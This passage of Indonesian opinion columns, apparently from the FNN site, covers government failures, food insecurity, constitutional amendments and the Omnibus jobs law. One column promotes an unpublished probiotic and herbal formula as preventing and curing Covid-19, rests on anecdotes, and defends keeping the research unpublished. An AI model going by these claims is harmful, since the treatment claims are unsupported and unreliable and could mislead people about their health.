eksistensi negara dan pemberontakan petani di tiga negara yang dia bandingkan itu. Namun, kaum strukturalis, baik Marxis maupun fungsional, kurang memberi perhatian pada analisa agensi atau tokoh maupun ideologi gerakan. Sosiolog dan historian lainya, banyak yang juga melihat peranan ideologi, organsisasi aksi dan peranan tokoh dalam sebuah revolusi dan sebab-sebabnya. Misalnya, sebab-sebab revolusi dalam teori kenabian umumnya dikaitkan dengan adanya bala atau bencana yang ditimpakan kekuatan ilahiah pada sebuah rezim dan masyarakatnya. Lalu munculnya seorang pemimpin yang membawa perubahan peradaban. Melihat berbagai spektrum pemikiran dan analisa, maka secara umum sebuah revolusi itu terjadi karena meluasnya kekecewaan rakyat atas rezim yang berkuasa. Terjadinya kooptasi negara dengan melakukan politik tirani dan berbagi kekuasaan dengan kaum oligarki pemodal. Terjadi kemerosotan peran dan eksistensi negara akibat perang atau wabah ataupun keuangan negara. Munculnya tokoh-tokoh revolusioner, dan adanya ideologi yang mempersatukan gerakan perlawanan. Meluasnya kekecewaan rakyat Indonesia saat ini sudah meluas dan mendalam. Meluas itu terbukti dari kecaman dua ormas besar agama Islam atas sikap pemerintah yang mengorbankan nasib rakyat ditengah pandemi Covid-19 demi mendorong pilkada. Padahal MUI, NU dan Muhammadiyah, bahkan sesungguhnya hampir seluruh kekuatan masyarakat sudah menyatakan menolak pilkada. Penolakan ini ditambah dengan adanya sinyalamen Menteri Koordinator Bidang Politik, Hukum dan Meamanan (Polhukan) bahwa Pilkada 92% dibiayai oleh cukong-cukong. Pernyataan yang diumumkam sendiri oleh tokoh sentral di pemerintahan. Angkanya cukup menghawatirkan. Kekecewaan dalam spektrum lainnya adalah kekecewaan buruh yang menolak UU Omnibus Law. Buruh sebagai kekuatan rakyat di perkotaan dan semi urban melihat bahwa pemaksaan secara cepat legalisasi UU ini adalah simbol kesombong rezim dan kaum kapitalis untuk mengekploitasi nasib mereka. Telah terjadi vis a vis secara kepentingan. Yang menariknya adalah, di luar buruh, kelompok-kelompok identitas, intelektual dan lingkungan ikut mengecam UU Omnibus ini. Seperti mahasiswa, kalangan dosen, ulama, pegiat dan pecinta lingkungan, masyarakat adat, dan terakhir lembaga-lembaga yang pro lingkungan hidup internasional. Selain itu, kekecewaan masyarakat terjadi karena kegagalan pemerintah menangani pandemi corona. Meskipun pemerintah beralibi telah menangani dengan baik, dengan membandingkan hasil faktual antar negara, namun rakyat sudah sedemikian jauh mengalami frustasi sosial dan kemerosotan hidup selama delapan bulan pandemi ini. Krisis kepercayaan meluas dan dalam kepada pemerintah. Krisis ini akibat adanya ketertutupan pemerintah soal pandemi ini di masa awal. Juga kegagalan dalam mengontrol penyebaran pandemi pada masa nasa yang disebut "golden time". Disamping publik melihat arogansi pemerintah dalam masa masa awal menyepelekan isu Covid-19 ini. Banyak lagi kekecewaan masyarakat yang muncul. Khususnya, kekecewaan ummat Islam dan eks militer (purnawirawan) atas isu di seputar bangkitnya PKI dan faham Komunisme. Dan klaim bahwa mayoritas masyarakat kecewa dengan Jokowi sudah pasti mempunyai landasan analitis. Dalam hal kooptasi negara atas semua kekuatan politik yang ada, sikap semena-mena itu ditunjukkan dengan upaya cepat pemerintah memberlakukan perpu corona, yang kemudian menjadi UU Corona No. 2/2020. Intinya pemusatan kekuasaan secara hampir mutlak pada pemerintah. Pada saat Jokowi mengkritik menteri menterinya yang dianggap gagal bekerja ekstra ordinary, setelah tiga bulan pandemi, Jokowi mengobral akan membuat Perpu Corona lainnya jika dianggap kurang dalam konsolidasi power. Ini menunjukkan sistem politik kita yang membagi kekuasaan Eksekutif, Legislatif dan Yudikatif, serta pemeriksaan keuangan independen telah terdistorsi. Bahkan terakhir adalah upaya rezim Jokowi membuat Dewan Moneter untuk mengendalikan Bank Indonesia. Tujuanya agar pemerintah bisa mencetak uang. Padahal selama ini dalam prakteknya bank Indonesia independen. Tidak dibawa kontrol dari pemerintah. Pemusatan kekuasaan di tangan Jokowi dan rezimnya bersamaan dengan rencana RUU HIP dan UU Omnibus Law. RUU HIP adalah upaya pemusatan tafsir ideologis atas Pancasila. Dengan genggaman itu maka pemerintah mempunyai alat pembungkaman lawan-lawan politik secara legal. Sedangkan Omnibus Law, yang luas ditentang saat ini, adalah upaya pemerintah membagi kesenangan kepada kaum kapitalis dan oligari modal. (bersambung). Penulis adalah Direktur Eksekutif Sabang Merauke Circle.

Bank Dunia : 90 Juta Orang Indonesia Hadapi Rawan Pangan

by Jusman Dalle Jakarta FNN – Kamis (08/10). Footage pekerja migran gagal terbang ke Saudi Arabia viral ,setelah saya posting di twitter @JusDalle. Twitter analytics mencatat, video itu telah ditonton lebih dari 278.000 kali. Jadi berita dan headline media nasional. Bahkan, mendapat respons dari dari Dirjen Perhubungan Udara Kementerian Perhubungan. Situasi paling dramatis video tersebut adalah pada bagian ketika sang Ibu pekerja migran mengucapkan kalimat “Selama tujuh bulan saya diam di rumah. Tidak pernah kemana-mana. Kita harus makan, anak-anak juga harus makan”. Suara sang ibu bergetar. Emosinya memuncak. Berusaha diredam, namun tak tertahan. Remuk redam rasanya hati ini mendengar kalimat tersebut. Curahan perasaan yang dilontarkan itu, bukan semata ekspresi kecewa seorang pekerja migran, karena gagal berangkat mencari nafkah akibat prosedur dan protokol yang ribet. Kekesalan itu, adalah common ground. Mewakili perasaan ratusan juta rakyat, yang marah kepada pemerintah. Video itu banjir komentar. Nadanya hampir mirip dan sama. Netizen umumnya kecewa, kesal dan marah atas situasi yang tidak menentu tersebut. Rakyat sangat merasakan adanya kesulitan ekonomi. Nasibnya tidak menentu dan tidak pasti. Hanya terjebak di rumah. Dalam situasi krisis yang mengunci seperti ini, kelompok masyarakat aspiring middle class yang menjadi korban paling besar. Namun mereka, luput dari perhatian media massa. Apalagi perhatian pejabat pembuat kebijakan. Tak masuk dalam radar dan data pemerintah untuk diselamatkan. Mereka sudah sangat dekat dengan tubir kemiskinan. Begitu terjadi sedikit saja gejolak ekonomi, mereka berjatuhan ke lembah kemelaratan. Jangankan Corona yang membekap, kenaikan tarif dasar listrik, kenaikan harga BBM dan inflasi, bahkan dapat menyeret mereka ke jurang kemiskinan. Posisi kelas menegah tanggung ini sangat rentan. Tidak punya determinasi ekonomi yang memadai (coeficcient of determination) kepada mereka. Semakin berbahaya, karena klasifikasi yang dibuat oleh negara menempatkan mereka seolah tidak miskin. Aspiring middle class ini adalah mayoritas masyarakat negeri ini yang tak terlihat pemerintah. Padahal jumlah sangat banyak. Bahkan mengagetkan. Menurut data Bank Dunia, per Januari 2020 jumlahnya mencapai 115 juta penduduk. Ini sangat menghawatirkan. Nasib ratusan juta rakyat tersebut mulai terkuak. Laporan anyar yang dipublikasikan Bank Dunia awal Oktober, menyebut jika saat ini sepertiga orang Indonesia makan lebih sedikit. Mereka kekurangan uang akibat Pandemi Covid-19. Artinya, sekitar 90 juta penduduk Indonesia menghadapi tekanan rawan pangan. Padahal, jumlah penduduk miskin cuma 26 juta jiwa. Itu data resmi BPS. Maka temuan sepertiga penduduk Indonesia kurang makan akibat dampak Corona, diinterpretasikan jika wabah ini telah melipatgandakan jumlah penduduk miskin. Naik sebanyak 300% cuma dalam tujuh bulan. Indikatornya sangat valid. Pemenuhan kebutuhan paling dasar, yaitu pangan. Rawan pangan itu, merupakan bom waktu yang siap meledak. Pasalnya, Corona masih sangat jauh dari kata dan kalimat terkendali. Indonesia bahkan jadi negara dengan penanganan Covid 19 yang terburuk di dunia. Setiap satu juta populasi, jumlah yang test cuma 10.760 orang. Sangat kecil. Bandingkan dengan AS sebanyak 298.423 tes per satu juta penduduk. India sebagai negara berpenduduk terbesar kedua di dunia, mencatatkan jumlah tes 47.000 per satu juta populasi. Karena itu, para pakar yakin jika kasus covid di Indonesia sebetulnya jauh lebih besar dari yang terungkap. Jumlah test sebagai dasar parameter, sama sekali tidak memenuhi standar WHO. Implikasinya penanganan Covid yang amburadul, berdampak masif terhadap perekonomian. Selama Covid tidak terkendali, maka aktivitas ekonomi tidak bakal beroperasi 100%. Badai Pemutusan Hubungan Kerja (PHK), pelemahan daya beli, produksi dan konsumsi yang mandek, menciptakan lingkaran setan krisis ekonomi yang semakin babalieut. Masyarakat lapis bawah yang paling terkena dampaknya. Mereka sangat merasakan perihya kehidupan ekonomi sekarang. Persis kisah dramatis sang Ibu pekerja migran yang gagal berangkat ke Arab Saudi tersebut. Hanya bisa tinggal di rumah tanpa sumber pendapatan yang jelas. Tekanannya kian menyakitkan seiring perjalanan durasi waktu. Batas toleransi kian menipis. Maka satu dua bulan ke depan, rawan pangan dan kompleksitas problem ekonomi yang membelit bisa saja menjelma menjadi petaka kelaparan massal yang mengerikan. Semoga tidak terjadi. Amin Penulis adalah Direktur Ekskutif Tali Foundation.

Menepis Pendapat Amien Rais Soal Kembali ke UUD 1945" (Bagian-2)

by Mayjen TNI (Purn.) Prijanto Jakarta FNN - Rabu (07/10). Untuk membedakan dan mempermudah, maka hasil amandemen UUD 1945 dalam artikel ini kita sebut dengan UUD 2002”. Dalam Pembukaan UUD 1945 sangat jelas, Kemerdekaan Kebangsaan Indonesia disusun dalam Undang Undang Dasar Negara Indonesia. Pemerintahan yang dipilih, Negara Republik Indonesia yang berkedaulatan rakyat. Begitu Konsensus nasional kita. Pembukaan UUD 1945 dan NKRI tidak boleh diubah. Bentuk negara dan implementasi kedaulatan rakyat diatur dalam Batang Tubuh. Negara Indonesia adalah Negara Kesatuan, yang berbentuk Republik, dan Kedaulatan adalah ditangan rakyat, dan dilakukan sepenuhnya oleh Majelis Permusyawaratan Rakyat (MPR). Dalam pertarungan kepentingan politik global, untuk menguasai suatu negara, konstitusi merupakan sasaran. Indonesia masuk salah satu sasaran. Keterlibatan aktor internasional negara liberal kapitalis dalam amandemen UUD 1945 dengan dalih agar Indonesia lebih demokratis, adalah nyata. United Nations Develepment Program (UNDP) dan United State Agency for International Develepment (USAID) didukung LSM asing, Institute of Democracy and Electoral Assistance (IDEA), Internasional Foundation for Election System (IFES), National Democratic Institute (NDI) dan International Republican Institution (IRI) terlibat dalam amandemen UUD 1945. Keterlibatan mereka tidak hanya masalah dana. Tetapi juga konsep pemikiran pembaharuan. Mereka hadir dalam rapat. Mereka berkolaborasi dengan Lembaga Swadaya Masyarakat (LSM) domestik Centre for Electoral Reform (Cetro). (Valina Singka Subekti, 2007, Menyusun Konstitusi Transisi). Kita sudah merasakan, pemilihan secara langsung ala Amerika, yang "one man, one vote", sebagai hasil amandemen yang merusak sendi persatuan. Mari kita bahas bagaimana kaitan intervensi asing dalam amandemen UUD 1945 dengan implikasi yang disampaikan Amien Rais jika kita kembali ke UUD 1945. Dewan Perwakilan Daerah (DPD) Untuk Apa? Implikasi pertama yang disampaikan Amien Rais, DPD otomatis hilang, jika kembali ke UUD 1945. Amien Rais beranggapan DPD penting. Padahal, hilangnya DPD itu logis, UUD 1945 tidak mengenal DPD. Kecuali hanya diatur di UUD 2002. Kita kenal, lembaga DPD itu sebagai unsur negara serikat (federal). Padahal, Pasal 1 ayat (1) baik di UUD 1945 maupun UUD 2002, Indonesia sebagai Negara Kesatuan. Dengan demikian, DPD bertentangan dengan konstitusi. Pertanyaan kritisnya, siapa pembisik harus ada lembaga DPD? Intervensi asing kah? Untuk memecah belah kita kah? Walau DPD perannya belum sama seperti Senat di Kongres Amerika Serikat, DPD ini menjadi "embrio" yang tidak sesuai untuk Negara Kesatuan. Upaya meningkatkan peran DPD secara perlahan, merupakan indikasi, konsepsi "sutradara" untuk membangun DPD di Indonesia yang diinginkan belum selesai. Apabila dalih DPD untuk memberdayakan "Utusan Daerah" harus lewat Pemilu, dan dilembagakan, meka mengapa "Utusan Golongan" tidak sekalian diberdayakan menjadi "Dewan Perwakilan Golongan" saja? Patut diduga dan dicurigai, pembentukan DPD ada maksud dan tujuan tertentu. Nafas DPD berbeda dengan "Utusan Daerah" yang dimaksud dalam UUD 1945. Mari kita cermati, ada Otonomi Daerah, dan DPD, namun ketidakharmonisan terjadi pusat dan daerah. Pusat beroposisi dengan daerah. Begitu pula sebaliknya. Sumber kekayaan alam di daerah, dan pemilik modal selalu berada di belakang pejabat yang didukung saat pemilihan kepala daerah. Kita bangun pertanyaan kritis, adakah benang merah diatara rangkaian kondisi tersebut? Apakah DPD embrio menuju negara federal? Agar asing mudah bermain dalam urusan sumber daya alam di daerah? DPD bisa mengajukan RUU terkait Otonomi Daerah. Sedangkan anggota DPD dan Kepala Daerah lewat Pemilihan langsung, membuka peluang kapitalis bermain. Kiranya cukup panjang untuk menyoroti peran DPD. Apakah itu dari aspek kelembagaan, status, peran dan manfaatnya. Satu hal yang pasti, dengan kembali ke UUD 1945, otomatis DPD hilang. Itu bukan kerugian dan tidak perlu untuk risau. Justru sistem ketatanegaraan yang kita pilih benar, yaitu menjaga Negara Indonesia tetap dalam bingkai Negara Kesatuan Republik Indonesia. Pentingnya Dewan Pertimbangan Agung (DPA) Nusantara ini awalnya milik kerajaan-kerajaan. Selama belum ada Indonesia , maka pemilik Nusantara adalah para Raja dan Sultan. Raja dan Sultan selalu punya unsur Penasehat, Misalnya, Mahapatih dan lain-lain. Dunia wayang, juga ada Penasehat yang memiliki pitutur luhur. Suritauladan dunia wayang adalah negara Amarta dengan penasehat Batara Kresna dan Semar. Kresna seorang ksatria dan Raja. Semar seorang Punakawan abdi ksatria Pendawa. Komposisi inilah yang menggambarkan Raja mendengarkan suara para ksatria dan rakyat. Nilai budaya mengilhami "the founding fathers" tidak saja dalam menentukan Dasar Negara, tetapi juga dalam ketatanegaraan, antara lain perlunya Dewan Pertimbangan Agung (DPA). Tempat terhormat untuk para Raja dan Sultan membeirkan pertimbangan kepada Presiden dan para Menteri Anggota Kabinet. Presiden mandataris MPR, sebagai Kepala Pemerintahan dan Kepala Negara, memerlukan Penasehat. Dewan Pertimbangan Agung inilah penasehat Presiden. Sebuah badan yang di luar dari eksekutif, legislatif dan yudikatif. Apabila undang-undang yang mengatur anggota DPA adalah tokoh-tokoh terpilih non Parpol, maka selanjutnya DPA akan memiliki independensi yang kuat. Tugas DPA diatur dalam Bab IV Pasal 16 UUD 1945. ”Dewan Pertimbangan Agung berkewajiban memberi jawab atas pertanyaan Presiden dan berhak memajukan usul kepada pemerintah”. Ada kewajiban dan hak. Tugas ini sangat penting, khususnya ketika Presiden berada dalam tekanan Parpol atau legislatif. Andaikan DPA ada, seperti masalah Pilkada serentak Desember 2020 dan RUU yang jauh dari kepentingan rakyat, Presiden bisa mendapat masukan DPA dari perspektif kepentingaan rakyat. Negara kita memang Republik, dan bukan Kerajaan. Namun agar pemimpin tidak otoriter dan salah keputusan, maka sebaiknya pemerintahan kerajaan maupun republik, tetap saja perlu "penasehat". Hal ini terbukti, pengamandemen juga berpikir, Presiden perlu Penasehat. Pengamandemen menghapus Bab IV UUD 1945 Dewan Pertimbangan Agung. Selanjutnya menempatkan Pasal 16 di Bab III UUD 2002, Kekuasaan Pemerintahan Negara. Disini terjadi keanehan dan tidak lazim. Bagaimana mungkin sebuah konstitusi ada Bab yang kosong atau hilang? Pasal 16 UUD 2002 mengatakan, “Presiden membentuk satu Dewan Pertimbangan yang bertugas memberikan nasehat dan pertimbangan kepada Presiden, yang selanjutnya diatur dalam undang-undang.” Tidak ada kata kewajiban dan hak. Dewan pertimbangan ini sebagai unsur eksekutif. Pertanyaannya, sejauhmana anggota dewan petimbangan berani mandiri tidak takut kepada Presiden? Dewan penasehat Presiden saat ini bernama Wantimpres. Didukung Staf Kepresidenan. Suatu saat nanti, bisa jadi, tidak menutup kemugkinan, dewan ini isinya orang-orang tertentu, sebagai lanjutan saat Pilpres. Produknya bisa ditebak, cenderung melindungi kebijakan Presiden atau pemerintah dan pencitraan bagaikan tim sukses Presiden. Sedangkan DPA, sebagai Lembaga Negara yang independen, diharapkan memberikan masukan kepada Presiden dalam perspektif kepentingan negara. Sehingga Presiden tidak otoriter, tidak terkooptasi Parpol, memiliki bahan pertimbangan yang matang dan mandiri. DPA yang berperan bak Batara Kresna dan Semar. Kresna yang duduk sejajar dengan Raja Amarta, Yudhistira. Inilah pentingnya DPA dalam sistem ketatanegaraan UUD 1945. Pemerintahan Daerah di UUD 1945 Pada Bab VI Pemerintahan Daerah, Pasal 18 UUD 1945, “Pembagian daerah Indonesia atas daerah besar dan kecil, dengan bentuk susunan pemerintahannya ditetapkan dengan undang-undang, dengan memandang dan mengingati dasar permusyawaratan dalam sistem pemerintahan negara, dan hak-hak asal-usul dalam daerah-daerah yang bersifat istimewa”. Cuplikan penjelasan Pasal 18 UUD 1945 di atas adalah "Daerah-daerah itu bersifat autonoom (steek dan locale rechtsgemeenschappen) atau bersifat daerah administrasi belaka, semua akan ditetapkan dengan undang-undang. Pada daerah-daerah yang bersifat autonoom, akan diadakan badan perwakilan daerah. Sebab di daerahpun pemerintahan akan bersendi atas dasar permusyawaratan. Mencermati hal di atas, pendapat Amien Rais, jika kembali ke UUD 1945, maka Otonomi Daerah (Otda) batal, sabagai pernyataan yang tidak ada dasarnya. Bagaimana mungkin Otda batal, sedangkan UUD 1945 mengamanatkan masalah Pemerintahan Daerah. Persoalannya terletak bagaimana undang-undang Otda harus memiliki nafas sesuai pasal tersebut sehingga tetap dalam bingkai NKRI. Selanjutnya bagaimana implikasi terhadap keanggotaan MPR, Pemilihan Presiden dan Wakil Presiden, jika kita kembali ke UUD 1945? Kedua implikasi yang disampaikan Amien Rais tersebut, akan kita bahas pada bagian-3 rangkaian artikel ini. Semoga bermanfaat. Insya Allah, Aamiin. Penulis adalah Wagub DKI Jakarta 2007-2012 & Rumah Kebangkitan Indonesia.

Mengapa Dokter Saifudin Hakim Terus Serang Profesor Sukardi?

by Mochamad Toha Surabaya FNN - (Rabu 07/10). Entah apa sebenarnya yang ada di benak pikiran dr. Mohamad Saifudin Hakim, MSc, PhD (sesuai nama yang tercantum sebagai Dosen dan Peneliti Virus pada Fakultas Kedokteran, Kesehatan Masyarakat, dan Keperawatan (FKKMK) UGM Jogjakarta). Mengapa saya perlu mencantumkan nama lengkap Mohamad Saifudin Hakim? Karena saat masuk ke akun Facebook-nya itu namanya berbeda. Menjadi Mohammad Saifuddin Hakim. Huruf ‘m’dan ‘f’ yang ada di FB double. Orang yang sama? Entahlah! Nama dr. Mohamad Saifudin Hakim, MSc, PhD menjadi viral sejak wawancara Erdian Anji Prihartanto, penyanyi yang akrab dipanggil Anji, dengan klaim Hadi Pranoto yang disebut dalam kanal Youtube-nya sebagai penemu Antibodi Covid-19. Akun FB Muhammad Saifuddin Hakim (entah siapa sebenarnya yang ada di belakang akun ini) dipakai untuk “menyerang” Profesor Sukardi alias Ainul Fatah, ahli mikrokultur bakteriologi Indonesia, terutama terkait gelar “profesor” AF. Sebenarnya saya pribadi enggan mendebat (dengan tulisan) terkait tulisan-tulisan Saifuddin Hakim yang disebar di FB-nya. Karena saya sebelumnya juga sudah menanggapinya dengan beberapa tulisan terkait dengan sekian kali serangan pada Prof AF. Tapi. kali ini saya terpaksa harus menanggapi lagi karena Saifuddin Hakim dalam status FB terbaru sempat menyinggung kalimat yang ada dalam tulisan saya sebelumnya: Atau ketika ditanya, jawabnya, “Yang mencatat adalah murid2nya. Tidak perlu publikasi.” Mengapa Mas Dokter Hakim tidak menemukan satu pun artikel atau publikasi ilmiah hasil penelitian Prof AF? Karena yang saya tahu, catatan ilmiah yang Anda minta itu ada dalam otaknya. Dia tidak pernah merekan dalam bentuk catatan. Yang mencatatnya selama ini ya “murid-murid” Prof AF yang setia belajar “ilmu baru” yang disampaikan Prof AF itu: Probiotik Siklus/Komunitas! “Salah Sasaran, Serangan Saifudin Hakim ke Profesor Sukardi!” (5 Agustus 2020 fnn) by Mochamad Toha. Meski dalam status FB-nya sekarang ini tidak secara vulgar menyebut Sukardi atau Ainul Fatah, tapi bila dicermati, isinya masih mengarah serangan kepada Prof AF. Berikut ini saya kutipkan secara lengkap agar bisa dibaca secara seksama. Muhammad Saifuddin Hakim (20 September pukul 19.45). Benarkah “Ilmu Mikrokultur Bakteriologi” adalah “ilmu rahasia” yang tidak sembarang orang bisa mempelajarinya? Dan juga benarkah pemilik ilmu ini adalah “orang istimewa” yg harus dijaga lebih dari sekedar “rakyat biasa”? Sangat disayangkan, di era keterbukaan sains dan teknologi saat ini, kita dihadapkan realita adanya ulah pihak2 yg tidak bertanggung jawab yg menggambarkan bahwa ilmu kultur bakteri itu “ilmu istimewa”, “ilmu rahasia” yg tidak sembarang orang bisa mempelajarinya, harus ada syarat2 tertentu (misalnya, tidak boleh menjalankan syariat Islam), atau harus punya IQ tertentu, yg semua ini mengada-ada (karena memang tidak pernah ada). Juga digambarkan, seolah-olah orang yang ahli di bidang ini di dunia cuma sedikit, “satu-satunya” ahli di dunia, atau “satu dari lima ahli di dunia”, atau digambarkan bahwa bisa jadi pemilik ilmu ini mati mendadak (misterius), dan sebagainya. Seperti di dunia ini cuma sedikit orang pinter ya … Bagi yg keracunan film action, bisa jadi iya mudah percaya. Tapi, bagi yg melek literasi dan sains, akan dengan mudah paham kalau semua itu cuma omong kosong semata. Saifuddin Hakim pun mengutip beberapa artikel luar negeri. Ilmu tentang kultur mikrobiota bahkan sudah ada sejak 150 tahun yg lalu. Di artikel no 1 ini, Prof. Willem de Vos menggambarkan secara detail perjalanan kultur mikrobiota dari masa ke masa, sampai era teknologi next generation sequencing (NGS) sekarang ini. Jelas, ya, semua dibuka secara ilmiah dan transparan? Di artikel no. 2, saya cantumkan publikasi Nature, yang menjelaskan detail teknik cara kultur mikrobiota. Bisa dilihat metodenya dilukiskan secara gamblang, tidak ada yg ditutup-tutupin, semua orang bisa membaca dan mempelajarinya. Artikel no. 3, iya, ini peringatkan buat kita semua, jangan sampai mudah mengklaim ini itu terkait mikrobiota. Metode penelitian apakah sudah sesuai? Teknik sequencingnya dan analisisnya sudah bener? Ya, apalagi kalau melangkah lebih jauh lagi dengan mengklaim bisa terapi ini itu, tanpa ada publikasi riset yg jelas. Apalagi jika ujung2nya ingin jualan, hati2 jika ingin hartanya diberi keberkahan. Artikel no. 4, ini contoh bagaimana kalau orang itu meng-klaim menemukan strain bakteri, ya dia harus berani dong publikasi. Jangan cuma mengklaim punya 5.000, 6.000. 8.000, 10.000 strain bakteri, tapi ketika ditanya analisis datanya nggak punya, sequencingnya di mana nggak tau. Seolah-olah cuma dia aja yg ngerti ilmu ini. Atau ketika ditanya, jawabnya, “Yang mencatat adalah murid2nya. Tidak perlu publikasi.” Ini mengutip tulisan saya seperti judul di atas. Kalau sudah dijawab seperti ini, senyum saja, terus doakan. Akibatnya, ya gambar no. 5, tiba2 mengklaim ada bakteri golongan viruseae, padahal bakterinya apa tidak ada yg tau, karakternya gimana, genome-nya bagaimana? Ini adalah sebuah gambar dari seorang dokter yang sudah “berguru” pada Prof AF. Ya buat apa ngasih nama bakteri kalau hanya buat tipu2, supaya tampak “keren”, tapi tidak ada satu pun komunitas dunia ilmiah yg mau mengakui? Terahir, ayukkk kita belajar utk menjadi lebih kritis. Dunia sains sudah semakin maju, publikasi riset bisa diakses dg mudah, jangan sampai pikiran kita terkungkung dengan film2 yg menggambarkan ahli kultur virus atau bakteri ini dikejar2 CIA, FBI, BIN, atau apalah namanya, terus tiba2 “meninggal secara misterius”. Harus punya nama lain atau alias. Nama asli harus disembunyikan bla bla bla … Keluar rumah dikawal, bikin seminar publikasi sembunyi2, ngasih ceramah nggak boleh difoto atau direkam. Yukkk … jangan mau dibodoh2in propaganda semacam itu. Kita punya akal untuk berpikir dan mengkritisi itu semua! (20 September pukul 19.45) Noorma Rina Hanifah Kok ga rame sih, padahal sudah di tag. Apa masih pada kaget karena yang nulis status ini diundang ke BIN ya ? Padahal mereka sukanya nulis kalau si prof “aset negara” dan “intel” 6 • Suka • Tanggapi • Balas • Lainnya • 22 Sep Arief Hasan Alhamdulillah, formula probiotik beliau sangat membantu kami dan sodara2 kami yg berkenan mengkonsumsi. Formula sudah bekerja dan terbukti, alhamdulillah. Suka • Tanggapi • Balas • Lainnya • 27 Sep pukul 18.10 Dari puluhan komentar atas FB Saifuddin Hakim itu, hanya Arief Hasan yang berkomentar positif soal formula Prof Sukardi alias Ainul Fatah itu. Puluhan lainnya nadanya lebih banyak mem-bully dan mencibir layaknya Saifuddin Hakim. Menurut Wakil Kepala Lembaga Ilmu Pengetahuan Indonesia Prof Dr Endang Sukara, tak semua penelitian harus diungkap kepada publik, karena ada penelitian yang hasilnya merupakan rahasia negara dan ada hanya diberikan kepada otoritas tertentu. “Karena hasil penelitian jangan sampai meresahkan publik,” kata Endang, seperti dilansir Liputan6.com, 19 Februari 2011. http://lipi.go.id/berita/lipi:-tak-semua-penelitian-harus-dipublikasikan/6607. “Yang jelas hasil-hasil riset ilmuwan sebenarnya hanya ditujukan untuk mencari kebenaran ilmiah dan memberi sumbangsih terhadap ilmu pengetahuan dan masyarakat, bukan untuk niat apa pun,” lanjutnya. Peneliti memiliki integritas bahwa hasil penelitiannya harus bisa dipertanggungjawabkan. Namun, setiap peneliti memiliki kebijakan sebelum memulai penelitiannya apakah untuk diungkapkan atau tidak, termasuk sampelnya. “Kalau hasil penelitiannya hanya akan membuat chaos lebih baik tidak langsung diungkap ke publik, tapi cukup kepada otoritas yang berwenang,” katanya. Jadi, jelas kan, tak semua riset itu harus dipublikasi secara luas, termasuk hasil riset yang telah dilakukan Prof AF. Belum diungkap ke publik secara luas saja sudah membuat chaos Saifuddin Hakim dan follower fanatiknya, apalagi dibuka. Yang penting, hasil riset beragam formula Sukardi itu setidaknya sudah terbukti bermanfaat bagi masyarakat. Itupun sudah banyak ditulis media mainstream, seperti: “40 Pasien Covid-19 di Ambon Sembuh berkat Suplemen Herbal dari Profesor di Surabaya” (Kompas.com – 02/07/2020, 17:16 WIB). Suplemen herbal yang digunakan didapat langsung dari seorang profesor yang ahli dalam bidang molekuler. Hal itu diungkap Direktur Rumah Sakit FX Suhardjo Lantamal Ambon Mayor Laut Satrio Sugiharto kepada Kompas.com saat dikonfirmasi via telepon. “Kita langganan dari Surabaya, kita dapat dari profesor ahli molekuler namanya Prof Sukardi. Beliau ahli molekuler dan itu hanya segelintir orang yang ada di dunia,” katanya. Terapi herbal dan suplemen yang diberikan pihak rumah sakit sangat membantu para paisen corona. Bahkan, pasien berusia 84 tahun dengan penyakit bawaan yang dirawat di rumah sakit tersebut dapat sembuh. “Jadi, pendekatan herbal, cuma kita tidak mau memublikasi terlalu besar. Terapi herbal ini kan sudah melewati riset yang dilakukan Profesor Sukardi itu, lalu kita riset lagi di sini. Kita petakan lagi, bandingkan pasien si A, si B,” ungkapnya. Setidaknya sudah lebih dari 200 Dokter, beberapa Doktor, dan lebih dari 3 Profesor yang bisa menerima dan menerapkan formula Prof Sukardi ini untuk pasien-pasiennya. Pemkab Mojokerto, Pemkab Pasuruan, dan Pemkab sudah menggunakan formula ini untuk pencegahan dan penyembuhan pasien Covid-19. Bahkan, anggota TNI dan Polri juga sudah minum produk Prof AF. Mengapa Saifuddin Hakim tidak berani mem-bully ketiga Pemkab tersebut? Apa dia sudah pernah ngajak diskusi Prof AF yang setiap hari bisa ditemui di Remen Kafe, Pandaan? Tidak ada yang disembunyikan di sana. Masa’ Anda kalah dengan Hadi Pranoto yang sudah pernah bertemu langsung dengan Prof AF? Penulis adalah Wartawan Senior FNN.co.id.

DPR Licik & Pengecut, “Hobby Nyakiti Rakyat”

by M Rizal Fadillah Jakarta FNN – Rabu (07/10). Ketuk palu pengesahan Rancangan Undang-Undang (RUU) Cipta Kerja, bagian dari Omnibus Law oleh DPR di luar agenda awal yang cukup mengejutkan. Bukan kejutan prestasi tetapi kejutan pelecehan aspirasi. DPR secara institusi telah mempermalukan dirinya sendiri. Ada yang dengan bernada nyinyir menyebut DPR pimpinan Puan Maharani "pembunuh mic" sebenarnya memang sudah tidak punya rasa malu. Di Medsos ada tayangan kalimat duka dari Senayan "innalillahi wa inna ilaihi roojiuun". Kalimat yang menggambarkan sedang terjadi musibah. Semula dikira ada yang meninggal. Namun ternyata yang wafat itu adalah "hati nurani" anggota dewan. Terlepas dari keberanian politik dan acungan jempol untuk dua fraksi yang menolak, maka DPR untuk kesekian kalinya menyakiti rakyat. Hobby dan kesenangan DPR yang terbaru sekarang adalah ngotot untuk membohongi rakyat. DPR ngotot untuk membuat keputusan dengan rekayasa yang terang benderang. Maka dengan berat hati, kita memang harus menilai bahwa DPR melakukan kebijakan yang licik dengan mengambil momen Covid 19 untuk memutus dengan tergesa-gesa RUU kontroversial yang menimbulkan kemarahan rakyat khususnya kelompok buruh. DPR dengan licik memindahkan waktu pengesahan RUU Cipta Kerja dari rencana semula tanggal 8 menjadi tanggal 5 Oktober 2020. Dipastikan ini adalah undangan kilat yang tidak layak untuk suatu persidangan penting. Persidangan yang hanya mengesahkan kepentingan pengusaha dan pemodal. Disamping licik, DPR juga pengecut. Karena menghindar dari aksi unjuk rasa buruh yang tersakiti. Agenda mogok nasional tanggal 6-7 dan 8 Oktober yang dibarengi dengan unjuk rasa terendus DPR. Diantisipasi dengan mempercepat Sidang Paripurna DPR. Nampaknya anggota Dewan Yang Terhormat gemetar ketakutan digeruduk masa massa aksi buruh. Hit and run. Putuskan dan lari untuk sembunyi. Sungguh memilukan. Sementara rakyat akan semakin muak dengan perilaku licik dan pengecut seperti ini. Dewan tidak mampu menampilkan wibawa yang sesuai dengan kehormatan dari panggilannya. DPR sekarang lebih parah perannya dari DPR di masa Orde Baru yang dicap tukang stempel. Eksekutif kini mengangkangi legislatif sebagai kantor cabang. Rakyat sedih dan marah harus membiayai mahal wakil-wakil yang dianggap telah menghianatinya. Stempel baru untuk DPR sekarang adalah Dewan Penghianat Rakyat. Ketika kedaulatan rakyat diabaikan dan menjadi bahan mainan, serta sarana sekedar untuk mengeruk kekayaan, maka hancurlah 